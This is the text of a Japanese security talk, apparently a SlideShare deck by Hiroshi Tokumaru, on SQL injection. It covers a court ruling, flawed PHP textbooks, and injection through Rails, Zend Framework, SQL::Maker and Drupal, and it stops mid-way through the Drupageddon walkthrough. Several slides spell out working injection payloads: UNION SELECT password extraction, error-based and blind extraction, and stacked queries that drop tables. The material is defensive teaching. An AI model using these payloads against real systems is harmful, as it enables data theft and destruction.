SlideShare a Scribd company logo
今どきのSQLインジェクションの話題総まとめ
HASHコンサルティング株式会社
徳丸 浩
アジェンダ
• SQLインジェクション対策もれの責任を開発会社に
問う判決
• PHP入門書のSQLインジェクション脆弱性の状況
• O/RマッパやSQLジェネレーターのSQLインジェク
ションの話題
– Rails SQL Injection Examplesの紹介
– Zend FrameworkのSQLインジェクション
– JSON SQL Injection
– Drupageddon(CVE-2014-3704)
Copyright © 2008-2015 HASH Consulting Corp. 2
徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
– 技術士(情報工学部門)
• 絶賛社員募集中!!
Copyright © 2012-2015 HASH Consulting Corp. 3
SQLインジェクション対策もれの責任を
開発会社に問う判決
4Copyright © 2008-2015 HASH Consulting Corp.
責任と契約について
• ウェブアプリケーションの脆弱性の責任は発注者か開発者か
– 発注者に責任というのが主流のよう
– ただし、判例があるわけではないので要注意
• 経産省の「モデル契約書」では、以下のような記述がある
• 発注者は自衛のために要求仕様にセキュリティ要件を盛り込
んでおくべきだが…
5
なお、本件ソフトウェアに関するセキュリティ対策については、具体的な機能、
遵守方法、管理体制及び費用負担等を別途書面により定めることとしている
(第50 条参照)。セキュリティ要件をシステム仕様としている場合には、「システ
ム仕様書との不一致」に該当し、本条の「瑕疵」に含まれる。
(セキュリティ)
第50 条 乙が納入する本件ソフトウェアのセキュリティ対策について、甲及び乙
は、その具体的な機能、遵守方法、管理体制及び費用負担等を協議の上、別
途書面により定めるものとする。
参照 http://www.meti.go.jp/policy/it_policy/softseibi/index.html
判例出ました
ケーススタディ 家具インテリアECサイト侵入事件
• 概要
– 家具インテリアのECサイトを運営するX社が、Y社にECサ
イトアプリケーションを発注(2009年2月)889万円
– X社が運営するECサイトに対して、外部からの不正アク
セスにより、最大7316件のクレジットカード情報が漏洩
した
– X社は謝罪、対応、調査等の費用、売上減少による損害等
に関して、Y社に対して、委託契約の債務不履行にもとづ
き1億913万円の損害賠償を請求、東京地裁に起訴した
(2011年10月)
– 2014年1月 判決
Copyright © 2008-2015 HASH Consulting Corp. 6
裁判の争点
• X社(原告)はセキュリティ対策について特に指示はしてい
なかった模様
• 損害賠償について個別契約に定める契約金額の範囲内とする
損害賠償責任制限があった
• 当初システムはカード決済を外部委託し直接カード情報を
扱っていなかった
• X社が「カード会社毎の決済金額を知りたい」とY社に依頼
をして、その結果カード情報をいったんDBに保存する仕様
となった(2010年1月29日)
• X社からの問い合わせに対してY社は、カード情報を保持し
ない方式に変更することが可能で、そのほうが安全となり、
費用は20万円程度である旨を伝えた(2010年9月27日)が、
その後X社は改良の指示をしなかった
Copyright © 2008-2015 HASH Consulting Corp. 7
サイトには以下の脆弱性が認められた
• SQLインジェクション
• クロスサイトスクリプティング
• 個人情報を含むログファイルが外部から閲覧可能
• システム管理機能のID/パスワードが
admin/password
• DBにはカードのセキュリティコードも保存されて
いた
Copyright © 2008-2015 HASH Consulting Corp. 8
東京地裁の判断(1)
• クレジットカード情報が漏洩した原因は複数考えられるが、脆弱性やア
クセスログ、不正利用の状況からSQLインジェクション攻撃によるもの
と断定
• セキュリティ対策についてX社からの指示はなかったが、Y社は必要なセ
キュリティ対策を講じる義務(債務)があり、それを怠った債務不履行
がある
• Y社は、SQLインジェクションはカード情報とは無関係の箇所にあったの
で、この脆弱性が原因ではないと主張したが、裁判所はこの主張を退け
た
• 損害賠償責任制限について
– 損害賠償責任制限自体については認める
– 契約書に明記はないが、故意あるいは重過失に起因する損害については責任
制限の範囲外とする
– 仕様書に記載はないがSQLインジェクション対策を怠ったことは重過失であ
る
– よって今回の事案は損害賠償責任制限には該当しない
Copyright © 2008-2015 HASH Consulting Corp. 9
東京地裁の判断(2)
• 原告からの損害賠償請求のうち、おわびのQUOカード代や梱包発送費な
どの損害は全額認められたが、売上減の機会損失は6041万4833円の要求
に対して、400万円のみが認められ、システム委託契約費用約2074万円
に対しては、他社システムに移行後の利用料等(約27万円)のみが認め
られた
• Y社がカード情報をDBに保存しない方式をX社に提案したにも関わらずX
社がそれを採用しなかった件をX社の過失と認め、過失相殺3割が認定さ
れた
• 瑕疵担保期間(1年)を超えていたが、瑕疵担保期間はあくまで無償補修の
期間を定めたもので、損害賠償請求権の期間制限を定めたものではない
ので、損害賠償請求は有効
• 3131万9568円の損害を認定し、その3割を控除して、2262万3697円の損
害賠償をY社に命じた
Copyright © 2008-2015 HASH Consulting Corp. 10
SQLインジェクション対策が"債務"である理由
そこで検討するに,証拠(甲14,25,29)によれば,経済産業省は,
平成18年2月20日(注:2006年),「個人情報保護法に基づく個人デー
タの安全管理措置の徹底に係る注意喚起」と題する文書において,SQL
インジェクション攻撃によってデータベース内の大量の個人データが流出
する事案が相次いで発生していることから,独立行政法人情報処理推進機
構(以下「IPA」という。)が紹介するSQLインジェクション対策の
措置を重点的に実施することを求める旨の注意喚起をしていたこと,IP
Aは,平成19年4月,「大企業・中堅企業の情報システムのセキュリ
ティ対策~脅威と対策」と題する文書において,ウェブアプリケーション
に対する代表的な攻撃手法としてSQLインジェクション攻撃を挙げ,S
QL文の組み立てにバインド機構を使用し,又はSQL文を構成する全て
の変数に対しエスケープ処理を行うこと等により,SQLインジェクショ
ン対策をすることが必要である旨を明示していたことが認められ,これら
の事実に照らすと,被告は,平成21年2月4日の本件システム発注契約
締結時点において,本件データベースから顧客の個人情報が漏洩すること
を防止するために,SQLインジェクション対策として,バインド機構の
使用又はエスケープ処理を施したプログラムを提供すべき債務を負ってい
たということができる。
11判決文より引用
判決文を読んでの感想
• 発注者(原告)および受注者(被告)ともにグダグダの状況
であった
• 原告は発注者としての責務を果たしておらず、(ほぼ)すべ
ての責任が被告にあるとの判断は、被告に厳しすぎると思う
• とはいえ、被告もなんら「専門家としての責務」を果たして
おらず、裁判所はこの点を重視した
• 経産省およびIPAからの注意喚起が「専門家として当然はた
すべき責務」の基準と判断された点に注目したい
• 管理機能のID/パスワードが admin/password であった箇所
を読んで、しばらく余韻にひたっていた
※ただし、被告はシステム引き渡し後に原告がパスワードを
変更すると想定していたと主張
Copyright © 2008-2015 HASH Consulting Corp. 12
当事件からの考察
• 従来、専門家の間では「発注者責任」という考えが
強かったが、この判決は受注者の「専門家としての
責務」を重視した
• SQLインジェクション対策を怠ったことが「重過
失」と認定されたことは画期的だが、議論の余地も
ある
• 開発会社は、自衛のため、「安全なウェブサイトの
作り方」記載の脆弱性は最低限対策した方がよい
• 開発会社は(採用の見込みが薄くても)セキュリ
ティ対策の提案は積極的にすべし
Copyright © 2008-2015 HASH Consulting Corp. 13
今時のPHP入門書のSQLインジェ
クション脆弱性
Copyright © 2008-2015 HASH Consulting Corp. 14
15
我が家にある
PHP解説書の
ほんの一部ですw
PHP入門書にセキュリティを求めるのか?
• セキュリティのことは後回しでも良いのでは?
– 一応Yes
• しかし、できる限り、最初から正しい方法を教えた
方が良い
• 「あなたが習ってきたPHPは間違っている」という
のも酷
• いつセキュリティを学ぶの?
– 今でしょ
– 永遠にセキュリティを学ばない人が多いと予想
– 最初に学ぶ時点で、できるだけ安全な方法を学んで欲し
い
Copyright © 2008-2015 HASH Consulting Corp. 16
昔の例: はじめてのPHPプログラミング基本編
17
発売日: 2008年10月
SQLインジェクション対策用自前バインド関数
// SQLインジェクション対策用の関数
function dbescape($sql, array $params)
{
foreach ($params as $param) {
// パラメータの型によって埋め込み型を変える
switch (gettype($param)) {
case "integer":
case "double":
$replacement = $param;
break;
case "string":
// 文字列の場合はエスケープ処理をおこなう
$replacement = sprintf("'%s'", sqlite_escape_string($param));
break;
default:
die("パラメータの型が正しくありません");
}
// SQLを置換し、パラメータを埋め込む
$sql = substr_replace($sql, $replacement, strpos($sql, "?"), 1);
}
// すべてパラメータを埋め込んだSQLを返す
return $sql;
}
18
$sql = dbescape("SELECT * FROM foo WHERE
bar=? AND baz = ?", array($x, $y));
$x = "Johnson“
$y= “O'Reilly”
SELECT * FROM foo WHERE bar= 'Johnson'
AND baz='O''Reilly'
バインド値に ? があると誤動作する
SELECT * FROM foo WHERE bar=? AND baz? のバインド値
として ? と AAA を与えてみる
0:SELECT * FROM foo WHERE bar=? AND baz=?
↑ '?' に置き換え
1:SELECT * FROM foo WHERE bar='?' AND baz=?
↑ 'AAA' に置き換え
2:SELECT * FROM foo WHERE bar=''AAA'' AND baz=?
AAA がリテラル外にはみ出す ↑
Copyright © 2008-2015 HASH Consulting Corp. 19
SQLインジェクション攻撃
SELECT * FROM foo WHERE bar=? AND baz? のバインド値と
して ? と or 1=1--を与えてみる
0:SELECT * FROM foo WHERE bar=? AND baz=?
↑ '?' に置き換え
1:SELECT * FROM foo WHERE bar='?' AND baz=?
↑ 'or 1=1--' に置き換え
2:SELECT * FROM foo WHERE bar=''or 1=1--'' AND baz=?
or 1=1-- がリテラル外にはみ出す ↑
Copyright © 2008-2015 HASH Consulting Corp. 20
【教訓】
プレースホルダの仕組みを安易に自作すると
徳丸先生に怒られる
よくわかるPHPの教科書
21
発売日: 2010/9/14
本書を読んでの所感
• セキュリティには一応の配慮をしている
• SQL呼び出しはmysql関数 +
mysql_real_escape_stringによるエスケープ
– mysql関数は、PHP5.5で非推奨になったが、本書発行時点
では決まっていなかったので仕方がない
– とは言え、本書の内容が古くなった感はある
– MySQLに特化した記述が気になる(文字列リテラルをダ
ブルクォートで囲むなど)
• XSS対策は配慮しているが抜けもある
• CSRF対策はしていない
Copyright © 2008-2015 HASH Consulting Corp. 22
SQLインジェクションはどうか
Copyright © 2008-2015 HASH Consulting Corp. 23
// ここまでで、認証済みであるこの検査が済んでいる
$id = $_REQUEST['id'];
// 投稿を検査する
$sql = sprintf('SELECT * FROM posts WHERE id=%d',
mysql_real_escape_string($id));
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table[‘member_id’] == $_SESSION[‘id’]) { // 投稿者の確認
// 投稿した本人であれば、削除
mysql_query('DELETE FROM posts WHERE id=' .
mysql_real_escape_string($id)) or die(mysql_error());
}
ここにSQLインジェクション
しかし、DELETE FROM
文なので表示はない
エラーメッセージから情報窃取
• MySQLはエラーメッセージの中にリテラルの情報を含めな
いものが多いが、例外としてextractvalue関数がある
mysql> select extractvalue('<a><b>xss</b></a>', '/a/b');
+-------------------------------------------+
| extractvalue('<a><b>xss</b></a>', '/a/b') | ← 正常系
+-------------------------------------------+
| xss |
+-------------------------------------------+
mysql> SELECT extractvalue('<a><b>xss</b></a>', '/$this is a pen');
ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'
• 副問い合わせにより、extravalueにわざとエラーのあるクエ
リを用いて情報窃取
mysql> SELECT extractvalue(char(0),concat('/$',(SELECT email FROM members
LIMIT1 OFFSET 1)));
ERROR 1105 (HY000): XPATH syntax error: '$sato@example.jp'
Copyright © 2008-2015 HASH Consulting Corp. 24
SQL文のエラーが起こるか否かで情報を盗む
• SQLインジェクションにより実行されるSQL文の例
DELETE FROM posts WHERE id=18-(SELECT id FROM
members WHERE id LIKE char(49) ESCAPE IF(SUBSTR((SELECT
email FROM members LIMIT 1,1),1,1)>='M', 'a', 'ab')))
• WHERE句の中 18-(SELECT … WHERE …)
• 中のWHERE句は
LIKE 述語にESCAPE句がある
• ESCAPE句はIF関数により、membersの1行目の1文字目が
’M’以上の場合’a’、それ以外の場合’ab’
• SQL文の文法上、ESCAPE句は1文字以外だとエラー
• この結果を繰り返すことによって、対象文字列を絞り込む
→ブラインドSQLインジェクション
Copyright © 2008-2015 HASH Consulting Corp. 25
続きはデモで
気づけばプロ並みPHP
26
発売日: 2013/10/15
本書を読んでの所感
• 「いきなり始める~」から継承した分かりやすさ
• PHPの書き方としては古臭いもの(10年前くら
い・・・)
• バリデーションはほぼしていない
• SQL呼び出しはすべてPDOのプレースホルダを用い
ている(Good!)
• XSS対策のHTMLエスケープは、入力時にまとめて
行っている(Bad!)
• パスワードはソルトなしMD5で保存
– "一度MD5で暗号化されてしまうと、スーパーコンピュー
タでも簡単には解読できません"
Copyright © 2008-2015 HASH Consulting Corp. 27
こういう感じで…
28
PHP入門書にはSQLインジェクション脆弱性がないことが当たり前になった
Copyright © 2008-2015 HASH Consulting Corp. 29
SQLインジェクション対策はプレースホルダで
• プレースホルダとは
SELECT * FROM books WHERE id=?
• 静的プレースホルダと動的プレースホルダ
– 静的: サーバー側で値をバインドする(エスケープは必要
ない)
– 動的: 呼び出し側で値をエスケープしてバインドする
• 接続時に文字エンコーディングを指定する
$db = new PDO('mysql:host=myhost;dbname=mydb;charset=utf8',
DBUSER, DBPASS);
– SET NAMES utf8 はやめましょう
• 列の型を意識する
Copyright © 2012-2015 HASH Consulting Corp. 30
サンプルコード
$db = new PDO('mysql:host=myhost;dbname=mydb;charset=utf8',
DBUSER, DBPASS);
// エミュレーションモードOFF = 静的プレースホルダ
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
// エラー時に例外を発生させる
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// プレースホルダを使ってSQLを準備
$prepare = $db->prepare(
'SELECT * FROM example WHERE id = :id and language = :lang');
// 型を指定してbind
$prepare->bindValue(':id', (int) $id, PDO::PARAM_INT);
$prepare->bindValue(':lang', $str, PDO::PARAM_STR);
$prepare->execute();
Copyright © 2012-2015 HASH Consulting Corp. 31
O/RマッパーやSQLジェネレータ
とSQLインジェクション
Copyright © 2008-2015 HASH Consulting Corp. 32
問題意識
• アプリケーションがSQL文を直接呼び出す場合の
SQLインジェクションについては、IPA「安全なSQL
の呼び出し方」にてファイナルアンサーが出ている
• したがって、この分野では、特定ソフトウェアの脆
弱性など細かい話題が中心になると予想
• 一方、O/RマッパーやSQLジェネレータを用いる際
のSQLインジェクションについてはまだ研究・啓発
が必要
• 具体的には下記
– O/RマッパーやSQLジェネレータの使い方によるSQLi
– O/RマッパーやSQLジェネレータそのもののSQLi
Copyright © 2008-2015 HASH Consulting Corp. 33
Rails SQL Injection Examplesとは
(使う際の問題)
Copyright © 2008-2015 HASH Consulting Corp. 34
Rails SQL Injection Examplesとは
35http://rails-sqli.org/ より引用
Ruby on Railsの
ActiveRecordのメソッド
やオプションの指定方法
の誤りによるSQLインジェ
クションのサンプル集
Example1:whereメソッド
36http://rails-sqli.org/ より引用
whereメソッドの用途と注意点
• SQLのWHERE句を「生で」指定できる
• 文字列連結でWHERE句を組み立てると、普通にSQL
インジェクション脆弱となる
• 正しくはプレイスホルダを使う(後述)
• 前述の例は認証回避の例だが…飽きたw
Copyright © 2008-2015 HASH Consulting Corp. 37
脆弱性のあるアプリケーション
Copyright © 2008-2015 HASH Consulting Corp. 38
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
UNION SELECTにより個人情報を窃取
Copyright © 2008-2015 HASH Consulting Corp. 39
priceに以下を入れる
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --
SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,
updated_at FROM users --)
対策 プレースホルダ
40Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
Zend Frameworkでも似たようなことが起こる
41http://stackoverflow.com/questions/8512584/zend-framework-sql-injection-protection より引用
Example2: orderメソッド
42http://rails-sqli.org/ より引用
ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?
• ORDER BY の後には式が書ける
• 以下のSQL文は算数と国語の点数の合計でソートす
る
– SELECT * FROM 成績 ORDER BY (算数+国語)
• 以下の式は、password列の一文字目が s なら 0
そうでなければ 1 を返す
– CASE SUBSTR(password, 1, 1)
WHEN 's' THEN 0
ELSE 1
END
• よって、このORDER BYは、「パスワードの一文字
目が s」の利用者を先頭に集めるソート…だが、し
かし
Copyright © 2008-2015 HASH Consulting Corp. 43
どういうページを想定しているのか?
Copyright © 2010-2015 HASH Consulting Corp. 44
こういうページですか? わかりません (>_<)
これでは、
元々が個人情
報漏えいだw
ORDER BY句のSQLインジェクションから情報を盗む方法
• OWASP Japanにて紹介した方法
情報を盗みたいテーブルのデータでソートする
…あまりにもややこしいので今日は省略
• エラーメッセージから
• ブラインドSQLインジェクション
• UNIONは使えない…
• 複文を使う方法
Copyright © 2010-2015 HASH Consulting Corp. 45
エラーメッセージから情報を窃取
Copyright © 2010-2015 HASH Consulting Corp. 46
SELECT "books".* FROM "books" ORDER BY (select
cast((select userid||':'||passwd from users limit 1) as integer)
) asc
ブラインドSQLインジェクション
Copyright © 2010-2015 HASH Consulting Corp. 47
SELECT "books".* FROM "books" ORDER BY
(SELECT CAST(
CASE WHEN substr((select userid from users LIMIT 1 OFFSET 0),2,1)>=chr(107)
THEN '0' ELSE '!' END as integer)) asc
ORDER BYの後にUNIONは使えない
Copyright © 2010-2015 HASH Consulting Corp. 48
PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー
LINE 1: SELECT "books".* FROM "books" ORDER BY title UNION
SELECT ...
^
: SELECT "books".* FROM "books" ORDER BY title UNION SELECT *
FROM users -- asc
複文は単純に実行だとエラーになる
Copyright © 2010-2015 HASH Consulting Corp. 49
missing attribute: isbn
SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
別名をつけるとユーザー情報の窃取に成功
Copyright © 2010-2015 HASH Consulting Corp. 50
SELECT “books”.* FROM “books” ORDER BY title;SELECT id,
userid AS isbn,passwd AS title,1 AS price,mail AS publish,
null AS published,false AS cd FROM users-- asc
Zend Framework のSQLインジェクション
(CVE-2014-4914)
Copyright © 2008-2015 HASH Consulting Corp. 51
Zend Frameworkとは?
• PHPの心臓部であるZend Engineを開発している
Zend Technologies社が開発したアプリケーション
フレームワーク
• 柔軟な構造であり自由な使い方ができる
• 依存関係が弱くコンポーネントとして利用が容易
• PHPのオブジェクト指向を活用している
• …
• 要はZend謹製のフレームワーク
Copyright © 2008-2015 HASH Consulting Corp. 52
Zend_Dbの使い方
require_once 'Zend/Db.php';
$params = array('host' => 'localhost',
'username' => DBUSER,
'password' => DBPASSWD,
'dbname' => DBNAME);
$db = Zend_Db::factory('PDO_MYSQL', $params);
$select = $db->select()
->from('products')
->order('name'); // 列 nameでソート
$result = $db->fetchAll($select);
// 生成されるSQL文
SELECT `products`.* FROM `products` ORDER BY `name` ASC
Copyright © 2008-2015 HASH Consulting Corp. 53
orderメソッドあれこれ
// 単純
order('name') ORDER BY `name` ASC
// 降順
order('name desc') ORDER BY `name` DESC
// 識別子のエスケープ
order('na`me') ORDER BY `na``me` ASC
// 配列による複数ソートキー指定
order(array('name', 'id'))
ORDER BY `name` ASC, `id` ASC
// 式も書けるよ
order('(name + id)') ORDER BY (name + id) ASC
Copyright © 2008-2015 HASH Consulting Corp. 54
ここで一つ疑問ががが
• 識別子はクォートとエスケープがされる
– name → `name`
– na`ma → `na``me`
• 式はそのまま
– (name + id) → (name + id)
• どうやって識別子と式を区別しているの?
• ソースを見よう!
if (preg_match('/(.*)/', $val)) {
$val = new Zend_Db_Expr($val);
}
Copyright © 2008-2015 HASH Consulting Corp. 55
// ( と ) があれば
// 式とみなす
56
(;´Д`)
Copyright © 2008-2015 HASH Consulting Corp.
CVE-2014-4914 (Zend Framework 1.12.6以前)
• orderの引数文字列に ( と ) がありさえすれば式とみ
なされエスケープ対象外となる
• 1 ; 攻撃文字列 -- () とかでも おk
SELECT `products`.* FROM `products` ORDER BY 1; 攻撃文字列 -- () ASC
• 公表されたPoCは以下の通り
order('MD5(1); drop table products --')
↓ 生成されるSQL文
SELECT `products`.* FROM `products` ORDER BY MD5(1);
drop table products -- ASC
• 参考: http://framework.zend.com/security/advisory/ZF2014-04
Copyright © 2008-2015 HASH Consulting Corp. 57
Zend Framework 1.12.7 での修正
• 式の判定が以下のように修正された
// 1.12.6以前
if (preg_match('/(.*)/', $val)) {
$val = new Zend_Db_Expr($val);
}
// 1.12.7
if (preg_match('/^[w]*(.*)$/', $val)) {
$val = new Zend_Db_Expr($val);
}
// 英数字0文字以上に続けて ( があり、末尾に ) があれば式
とみなす
Copyright © 2008-2015 HASH Consulting Corp. 58
59
(;´Д`)
Copyright © 2008-2015 HASH Consulting Corp.
Zend Framework 1.12.7 に対する攻撃
• 従来のPoC
order('MD5(1); drop table products --')
↓ 生成されるSQL文
SELECT `products`.* FROM `products` ORDER BY `MD5(1);
drop table products --` ASC
// order by 以降が ` で囲まれて識別子となる
• 新しいPoC
order('MD5(1); drop table products -- )')
↓ 生成されるSQL文
SELECT `products`.* FROM `products` ORDER BY MD5(1);
drop table products -- ) ASC
// 式とみなされる条件を満たすので「そのまま」SQL文に
Copyright © 2008-2015 HASH Consulting Corp. 60
Zend Framework 1.12.8 での修正
• 式の判定が以下のように修正された
// 1.12.7
if (preg_match('/^[w]*(.*)$/', $val)) {
$val = new Zend_Db_Expr($val);
}
// 英数字0文字以上に続けて ( があり、末尾に ) があれば式とみな
す
// 1.12.8
if (preg_match('/^[w]*([^)]*)$/', $val)) {
$val = new Zend_Db_Expr($val);
}
// 英数字0文字以上に続けて ( があり、途中は ) 以外が続き、
// 末尾に ) があれば式とみなす
Copyright © 2008-2015 HASH Consulting Corp. 61
62
(;´Д`)
Copyright © 2008-2015 HASH Consulting Corp.
これはフレームワークの脆弱性なのか?
• Ruby on Railsの場合、orderメソッドに指定する文
字列は「式」と決まっているので、アプリケーショ
ン側のバリデーション等で対策することが求められ
る
• Zend Frameworkの場合は、文字列の内容により識
別子か式かが決まるので、責任境界があいまい
• 本来、識別子用のメソッドと式用のメソッドは、名
前などで明確に区別するべし
• つまり、Zend Frameworkの仕様の問題である
Copyright © 2008-2015 HASH Consulting Corp. 63
対策
• 最新のZend Frameworkを使用する かつ
• orderメソッドの引数をバリデーション
※ Zend Framework 2 にはこの問題はありません
Copyright © 2008-2015 HASH Consulting Corp. 64
JSON SQLインジェクション
Copyright © 2008-2015 HASH Consulting Corp. 65
SQL::Maker (Perl)
use SQL::Maker;
my $maker = SQL::Maker->new(driver => 'mysql');
…
($sql, @binds) = $maker->select('user', ['*'],
{name => 'hasegawayosuke'});
SQL文: SELECT * FROM `user` WHERE (`name` = ?)
値: 'hasegawayosuke'
($sql, @binds) = $maker->select('user', ['*'],
{name => ['hasegawayosuke', 'kinugawamasato']});
SQL文: SELECT * FROM `user` WHERE (`name` IN (?, ?))
値: 'hasegawayosuke', 'kinugawamasato'
($sql, @binds) = $maker->select('user', ['*'], {age => {'>=' => 18}});
SQL文: SELECT * FROM `user` WHERE (`age` >= ?)
値: 18
Copyright © 2008-2015 HASH Consulting Corp. 66
JSON SQL Injection (Perl)
• PerlのSQL::Makerにおいて、以下のサンプル
my ($sql, @bind) = $builder->select(
"users", ["*"], {"name"=>$user_name});
$user_nameが 'yamada' の場合
SQL文: SELECT * FROM `users` WHERE (`name`= ?)
変数: yamada
$user_nameが{">=":"yamada"} (JSON)の場合
SQL文: SELECT * FROM `users` WHERE (`name` >= ?)
変数: yamada
$user_nameが{"KEY":"value"} (JSON)の場合
SQL文: SELECT * FROM `users` WHERE (`name` KEY ?)
変数: value
Copyright © 2008-2015 HASH Consulting Corp. 67
KEYは演算子だが、バリデー
ションもエスケープもされない
JSON SQL Injection (PHP)
• SQL::MakerのPHP版(by @memememomo)
$builder = new SQL_Maker(array('driver' => 'mysql'));
list($sql, $binds) = $builder->select('users', array('*'),
array('name' => $user_name));
$user_name が 'yamada' の場合
SQL文: SELECT * FROM `users` WHERE (`name` = ?)
変数: yamada
$user_nameがarray('KEY' => 'value') の場合
SQL文: SELECT * FROM `users` WHERE (`name` KEY ?)
Copyright © 2008-2015 HASH Consulting Corp. 68
PHPならJSONなしでJSON SQL Injectionが可能
• PHPはGET/POSTのパラメータに連想配列が指定で
きる
• $user_name = $_GET['user_name'] としている場合
http://example.jp/query.php?user_name[key]=value
$user_nameには、array('key' => 'value') が入る
http://example.jp/query.php?user_name[>''+or+1%3d1)%23
]=value の場合
生成されるSQL文は下記
SELECT * FROM `table_name` WHERE (`name` >'' or 1=1)# ?)
Copyright © 2008-2015 HASH Consulting Corp. 69
対策
• SQL::Maker側の対応:
strict モードの追加
値としてハッシュや配列を渡せなくなる
$builder = new SQL_Maker(array('driver' => 'mysql', 'strict' => 1));
$builder->select('user', array('*'), array('name' => array('foo', 'bar')));
// => 例外が発生して SELECT * FROM `name` IN (?, ?) は生成されない
• アプリケーション側の対応:
– SQL::Makerに渡すパラメータのバリデーション
Copyright © 2008-2015 HASH Consulting Corp. 70
Drupageddon(CVE-2014-3704)
Copyright © 2008-2015 HASH Consulting Corp. 71
Drupalとは
Drupal(ドルーパル、発音: /ˈdruːpəl/)は、プログラム言語PHPで記述され
たフリーでオープンソースのモジュラー式フレームワークであり、コンテ
ンツ管理システム (CMS) である。昨今の多くのCMSと同様に、Drupalはシ
ステム管理者にコンテンツの作成と整理、提示方法のカスタマイズ、管理
作業の自動化、サイトへの訪問者や寄稿者の管理を可能にする。
その性能がコンテンツ管理から、幅広いサービスや商取引を可能にするに
まで及ぶことから、Drupalは時々「ウェブアプリケーションフレームワー
ク」であると評される。Drupalは洗練されたプログラミング・インター
フェースを提供するものの、基本的なウェブサイトの設置と管理はプログ
ラミングなしに成し遂げることができる。Drupalは一般に、最も優れた
Web 2.0フレームワークの一つであると考えられている。
※Wikipediaより引用
72
WhiteHouse NASA 国立国会図書館カレントアウェアネス
Drupageddon(CVE-2014-3704)とは
• Drupal Ver7.31以前に存在するSQLインジェクショ
ン脆弱性
• 非常に危険性の高い脆弱性であるので、アルマゲド
ンをもじってドゥルパゲドンと命名された模様
• Drupal core の データベース抽象化 API (一種の
SQLジェネレータ)の expandArguments 関数にお
ける SQL インジェクションの脆弱性
• 日本ではあまり話題になっていない(Drupalのシェ
アのせい?)
Copyright © 2008-2015 HASH Consulting Corp. 73
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」
オープンソースのコンテンツ管理システム(CMS)「Drupal」に
極めて深刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは
10月29日、脆弱性修正のパッチを直後に適用しなかったWebサイト
は侵入された可能性があると警告した。米セキュリティ機関のUS-
CERTも、アップデートや回避策の適用を呼びかけている。
問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.x
に存在する。悪用された場合、攻撃者にバックドアを仕掛けられ、
サイトの全データをコピーされる恐れがある。攻撃の痕跡は残らな
い。この脆弱性を修正した「Drupal 7.32」は10月15日にリリースさ
れた。
Drupalによると、この10月15日の発表の直後から、脆弱性を修正
していないWebサイトに対する攻撃が始まった。「すべてのDrupal
7サイトは、世界協定時間の10月15日午後11時(日本時間16日午前8
時)までにアップデートまたはパッチを適用していない限り、破ら
れたと想定して対処しなければならない」とDrupalは警告する。
74http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用
Drupalのログイン処理のSQL文を調べる
Copyright © 2008-2015 HASH Consulting Corp. 75
name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9Mvuf
bZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
SELECT * FROM users WHERE name = 'admin' AND status = 1
name[]=user1&name[]=user2&pass=xxxxxxxx&form_build_id=form-xQZ7X7
8LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op
=Log+in
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
通常時の要求
通常時のSQL文
nameを配列で指定
nameを配列にした場合のSQL文
文字列リテラルが複数生成される
IN句生成の便利な呼び出し方だが…
Copyright © 2008-2015 HASH Consulting Corp. 76
<?php
db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('user1','user2')));
?>
SELECT * from users where name IN (:name_0, :name_1)
array(':name_0'=>'user1', ':name_1'=>'user2'))
db_queryにてIN句のバインド値を配列にすると…
IN句の値がプレースホルダのリストに展開される
バインド値の配列は以下の様に変形される
キー名をつけると
Copyright © 2008-2015 HASH Consulting Corp. 77
name[id1]=user1&name[id2]=user2
SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND statu
s = 1
キー名をつけてみる(id1, id2)
プレースホルダにキー名がつく
空白付きのキー
Copyright © 2008-2015 HASH Consulting Corp. 78
array(2) {
[":name_1 xxxxx"] => "user1" ← :name_1 ではない
[":name_2"] => "user2"
}
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND sta
tus = 1
キー名に空白をつけてみる
プレースホルダに空白が含まれる
ちぎれたプレースホルダはSQL文
の一部として認識される
プレースホルダには、キー :name_1がないので上記のSQL文呼び出しはエラーになる
name[1 xxxxx]=user1&name[2]=user2
バインド値のつじつまを合わせる
Copyright © 2008-2015 HASH Consulting Corp. 79
array(2) {
[":name_2 xxxxx"] => ""
[":name_2"] => "user2"
}
SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND sta
tus = 1
キー名に空白をつけてみる
プレースホルダに空白が含まれる
